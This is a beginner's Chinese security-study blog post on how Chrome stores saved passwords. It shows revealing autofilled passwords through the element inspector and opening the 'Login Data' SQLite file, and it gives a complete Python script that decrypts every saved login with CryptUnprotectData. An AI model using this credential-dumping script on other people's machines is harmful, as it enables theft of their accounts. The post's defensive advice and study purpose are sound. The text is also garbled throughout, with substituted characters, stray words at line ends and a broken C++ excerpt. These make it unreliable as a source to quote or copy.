[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登陆加密入门笔记

最近开始学习网络安全相关知识,接触了好多新术语,感受本身要学习的东西太多,真是学无止境,也发现了好几个默默无闻写着博客、作着开源的大神。接下来系统分享一些网络安全的自学笔记,但愿读者们喜欢。
上一篇文章分享了看雪Web安全总结知识和一个异或解密的示例,本篇文章着重讲解Chrome浏览器保留密码功能渗透解析及登陆加密入门笔记,结合实际例子一步步实现浏览器漏洞的挖掘。很是基础的文章,但愿对入门的博友们有帮助,大神请飘过,谢谢各位看官!html

下载地址:https://github.com/eastmountyxz/NetworkSecuritySelf-study
百度网盘:https://pan.baidu.com/s/1dsunH8EmOB_tlHYXXguOeA 提取码:izeb前端

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例java

前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差别备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包python

补充学习资料:
TK13大神Windows PE专栏 https://blog.csdn.net/u013761036/article/category/6401236
TK13大神Windows对抗专栏 https://blog.csdn.net/u013761036/article/category/6365454
鬼手56大神六个专栏 https://blog.csdn.net/qq_38474570/article/details/87707942
whatiwhere大神逆向工程专栏 https://blog.csdn.net/whatiwhere/article/category/7586534git


一.用户登陆明文与加密浅析

浏览器开发模式一般能够查看源代码,以简书为例,在 登陆页面 输入用户名和密码,而后右键“检查”或“审查元素”。github

运行结果以下所示,点击“Network”选择页面能查看消息头Headers及状态信息、Cookies或Sessions。这是开发者经常使用的分析方法,尤为是网络爬虫,须要审查元素定位所需信息的HTML源码。web

下图展现了做者输入的用户名及密码,这里的密码是明文显示的。算法

而有的网站输入的用密码是加密过的,好比我大贵财某登录系统传递的密码是MD5加密。sql

MD5解密以下所示。chrome

做者写这部分缘由:
一是想讲解下浏览器开发者模式的基本用法,二是后续想了解网站前端是否须要加密,用户名和密码传递到后台程序是如何加密解密的,以及存储至数据库的基本流程、它是明文或密文,这是否存在安全隐患及预防措施等。

MD5即Message-Digest Algorithm 5(信息-摘要算法第5版),是计算机安全领域普遍使用的一种散列函数,用以提供消息的完整性保护,确保信息传输完整一致。MD5是计算机普遍使用的杂凑算法之一(又译摘要算法、哈希算法),主流编程语言广泛已有MD5实现。注意,任意长度的数据,算出的MD5值长度都是固定的;对原数据进行任何改动,哪怕只修改1个字节,所获得的MD5值都有很大区别。
MD5的做用是让大容量信息在用数字签名软件签署私人密钥前被"压缩"成一种保密的格式(就是把一个任意长度的字节串变换成必定长的十六进制数字串)。MD5理论上仍是安全的,毕竟号称是不可逆算法。可是,目前网上有一些神器撞库网站,把全部密码列举出来,而后去比对的暴力破解法,虽然笨重,可是也颇有效。


二.浏览器保留密码功能漏洞示例

漏洞测试1

浏览器本机保留密码功能是很是不安全的,不推荐你们使用,不过若是你想找回密码用这种方式却是不错。

  • 首先,在须要登陆的页面上选择浏览器自动保留用户名和密码,并提交登陆。
  • 接着,退出从新登陆,Chrome浏览器审查元素,定位密码位置。
  • 最后,将输入框input元素的type属性,从“password”修改成“text”,显示结果以下所示。

因此,你们在登录网站时尽可能不要选择保存用户名和密码,该行为带来了极大的密码泄露风向,并且很难规避,尤为是重要的密码或超级管理员帐户。除非增长手机验证码、异常登陆提醒、QQ验证等。

我的建议:

  • 电脑不用轻易借给他人使用,除非身边很是信任的人
  • 非私人电脑必定不能让浏览器保存密码
  • 设定一些易于记住的密码,浏览器里登陆时重要帐户选择不要保存密码,每次登陆手动输入
  • 离开电脑务必记得随时锁屏或者关机,登陆系统必定要设定密码
  • 整合到Chrome第三方工具如LastPass,使用主密码来管理那些密码

漏洞测试2

那么,Chrome浏览器是如何存储这些用户名和密码呢?它是否也不安全呢?

首先,打开密码管理器。设置->高级->密码,或者输入 chrome://settings/passwords。

接着,查看保留的用户名和密码,包括163邮箱、百度等。不会吧,这么危险。

所幸,Chrome浏览器对显示的密码进行了一道验证,须要输入正确的电脑帐户密码才能查看,以下图所示。

为了执行加密(在Windows操做系统上),Chrome使用了Windows提供的API,该API只容许用于加密密码的Windows用户帐户去解密已加密的数据。因此基本上来讲,你的主密码就是你的Windows帐户密码。因此,只要你登陆了用本身的帐号Windows,Chrome就能够解密加密数据。

输出Windows帐户正确显示对应网站的密码。

补充知识:
因为Windows帐户密码是一个常量,并非只有Chrome才能读取“主密码”,其余外部工具也能获取加密数据,一样也能够解密加密数据。好比使用NirSoft的免费工具ChromePass(NirSoft官方下载) ,就能够看得你已保存的密码数据,并能够轻松导出为文本文件。 既然ChromePass能够读取加密的密码数据,那恶意软件也能读取的。当ChromePass.exe被上传至VirusTotal 时,超过半数的反病毒(AV)引擎会标记这一行为是危险级别。不过微软的Security Essentials并无把这一行为标记为危险。

假设你的电脑被盗,小偷重设了Windows帐号密码。若是他们随后尝试在Chrome中查看你的密码,或用ChromePass来查看,密码数据都是不可用。缘由很简单,由于“主密码”并不匹配,因此解密失败。 此外,若是有人把那个SQLite数据库文件复制走了,并尝试在另一台电脑上打开,ChromePass也将显示空密码,缘由同上。结论是Chrome浏览器中已保存密码的安全性,彻底取决于用户自己 。

我的建议:

  • 使用一个极高强度的Windows帐号密码。必须记住,有很多工具能够解密Windows帐号密码。若是有人获取了你的Windows帐号密码,那他也就能够知道你在Chrome已保存的密码。
  • 远离各类各样的恶意软件。若是工具能够轻易获取你已保存的密码,那恶意软件和那些伪安全软件一样能够作到。若是非得下载软件,请到软件官方网站去下载。
  • 把密码保存至密码管理软件中(如KeePass),或使用能够整合到Chrome中的第三方工具(如LastPass),使用主密码来管理你的那些密码。
  • 用工具(如TrueCrypt)彻底加密整个硬盘,而且非私人电脑必定不能让浏览器保存密码。

漏洞测试3

做者想继续修改input密码的属性,看看能不能显示密码。以下图所示:

再次幸运,Chrome应该已经解决了该漏洞,显示空白。

接着,做者尝试获取本地Chrome浏览器登陆的帐户信息。
找到密码存储的位置,文件或者是注册表,这个时候须要开启监控工具,打开注册表和文件操做信息。而后到chrome密码管理界面,随便删除一条记录,而后看看chrome自己对哪些文件或者注册表进行了修改,推荐 TK13 大神文章。

也能够直接寻找文件,一般用户名文件的存储路径为:
C:\Users…\AppData\Local\Google\Chrome\User Data\Default

找到下图所示的文件,Login Data。


漏洞测试4

接着打开这个文件,还好这个文件是加密的,而不是明文存储。

虽然该文件加密了,可是能够看到它是 SQLite format 3 的格式。接着经过工具读取该数据。这里使用 Navicat Premium工具。

Navicat premium是一款数据库管理工具,是一个可多重连线资料库的管理工具,它可让你以单一程式同时连线到 MySQL、SQLite、Oracle 及 PostgreSQL 资料库,让管理不一样类型的资料库更加的方便。

第一步,新建链接。

第二步,输入链接名如“test0803”,并导入本地的“Login Data”数据。

第三步,打开以后在“main”数据库中包含了三张表,其中logins为登陆表。

第四步,打开以下所示,好比163邮箱的用户名为个人电话,密码是加密的。

第五步,破解思想。
想要破解一个加密算法是很难的。这学习TK13大神的文章,了解到Chrome开源的加密函数CryptProtectData和CryptUnprotectData。

这对加解密函数很是特别,调用的时候会去验证本地登陆身份,这也就是为何别人的那个密码文档不能直接拷贝到咱们本身chrome相关文件夹下去看的缘由了。

接下来是代码实现,找到开源的Sqllite3库,把数据库解析出来,而后获得密码的加密数据,用CryptUnprotectData解密。注意,若是chrome开启的时候直接对这个数据库文件操做会失败,建议每次操做先把文件拷贝出来再处理。

参考文章:
https://www.secpulse.com/archives/3351.html
http://netsecurity.51cto.com/art/201603/507131.htm
https://blog.csdn.net/u013761036/article/details/53822036

第六步,使用TK13大神分享的AnalysisChromeLogin.exe工具进行解密。
下载地址:http://download.csdn.net/detail/u013761036/9719029

PS:是否是很可怕,因此我的电脑你们必定要保护好开机密码,别轻易让坏人使用。后续尝试破壳看看这个EXE程序源代码是如何解析的。


三.Chrome浏览器密码存储机制

下面分享N1ckw0rm大神讲解的Chrome浏览器密码存储机制。

谷歌浏览器加密后的密钥存储于%APPDATA%…\Local\Google\Chrome\User Data\Default\Login Data”下的一个SQLite数据库中。那么他是如何加密的呢,经过开源的Chromium,咱们来一探究竟:

首先,咱们做为用户登陆一个网站时,会在表单提交Username以及Password相应的值,Chrome会首先判断这次登陆是不是一次成功的登陆,部分判断代码以下:

Provisional_save_manager_->SubmitPassed();  
    if (provisional_save_manager_->HasGeneratedPassword())  
        UMA_HISTOGRAM_COUNTS(“PasswordGeneration.Submitted”, 1);  
    If (provisional_save_manager_->IsNewLogin() && !provisional_save_manager_->HasGeneratedPassword(){  
        Delegate_->AddSavePasswordInfoBarIfPermitted(  
        Provisional_save_manager_.release());  
} else {  
provisional_save_manager_->Save();  
Provisional_save_manager_.reset();

当咱们登陆成功时,而且使用的是一套新的证书(也就是说是***次登陆该网站),Chrome就会询问咱们是否须要记住密码。

那么登陆成功后,密码是如何被Chrome存储的呢?答案在EncryptedString函数,经过调用EncryptString16函数,代码以下:

Bool Encrypt::EncryptString(const std::string& plaintext,std::string* ciphertext) {  
    DATA_BLOB input;  
    Input.pbData = static_cast<DWORD>(plaintext.length());  
      
    DATA_BLOB output;  
    BOOL result = CryptProtectData(&input, L””,NULL, NULL, NULL, 0,&output);  
    if (!result)  
        Return false;  
//复制操做 
Ciphertext->assign(reinterpret_cast<std::string::value_type*>(output.pbData);  
 
LocalFree(output.pbData);  
Return true;  
}

代码利用了Widows API函数CryptProtectData(前面提到过)来加密。当咱们拥有证书时,密码就会被回复给咱们使用。在咱们获得服务器权限后,证书的问题已经不用考虑了,因此接下来就能够得到这些密码。

下面经过Python代码实现从环境变量中读取Login Data文件的数据,再获取用户名和密码,并将接收的结果经过win32crypt.CryptUnprotectData解密密码。

google_path = r’ Google\Chrome\User Data\Default\Login Data’  
file_path = os.path.join(os.environ[‘LOCALAPPDATA’],google_path)  
 
#Login Data文件能够利用python中的sqlite3库来操做。 
conn = sqlite3.connect(file_path)  
for row in conn.execute('select username_value, password_value, signon_realm from logins'):  
#利用Win32crpt.CryptUnprotectData来对经过加密的密码进行解密操做。 
    cursor = conn.cursor()  
    cursor.execute('select username_value, password_value, signon_realm from logins')  
 
#接收所有返回结果
#利用win32crypt.CryptUnprotectData解密后,经过输出passwd这个元组中内容,获取Chrome浏览器存储的密码
for data in cursor.fetchall():  
    passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)

用CryptUnprotectData函数解密,与之对应的是前面提到的CryptProtectData,理论上来讲CryptProtectData加密的文本内容,均可以经过CryptUnprotectData函数来解密。对其余服务的解密方式,你们能够自行尝试。

完整的脚本代码以下所示:

#coding:utf8 
import os, sys  
import sqlite3  
import win32crypt  
 
 
google_path = r'Google\Chrome\User Data\Default\Login Data' 
 
 
db_file_path = os.path.join(os.environ['LOCALAPPDATA'],google_path)  
conn = sqlite3.connect(db_file_path)  
cursor = conn.cursor()  
cursor.execute('select username_value, password_value, signon_realm from logins')  
 
#接收所有返回结果 
for data in cursor.fetchall():  
    passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)  
      
    if passwd:  
        print '-------------------------' 
        print u'[+]用户名: ' + data[0]   
        print u'[+]密码: ' + passwd[1]   
        print u'[+]网站URL: ' + data[2]

四.总结

写到这里,整篇文章结束了,其实网络安全仍是挺有意思的,尤为是最后解决了一个问题以后。每一篇文章都是站在无数大神和大佬的肩膀之上,做为一个网络安全的初学者,深深地感觉到本身有太多的东西须要学习,还好态度比较端正,天天都在一步一个脚印前行。

但愿这篇基础性文章对你有所帮助,若是有错误或不足之处,还请海涵。后续将分享更多网络安全方面的文章了,从零开始很难,但秀璋会一路走下去的,加油。

故人应在千里外,
不寄梅花远信来。
武汉第二周学习结束,寄了第二封家书给女神,接下来这几年,应该会写上200来封吧,很期待,也很漫长,但我俩的故事将继续书写。将来的路还很长,优秀的人真的太多,咱们只有作好本身,不忘初心,享受生活,砥砺前行。明天周末继续奋斗,晚安娜,记得收信。

(By:杨秀璋 2019-08-03 周六晚上8点写于武汉 https://blog.csdn.net/Eastmount )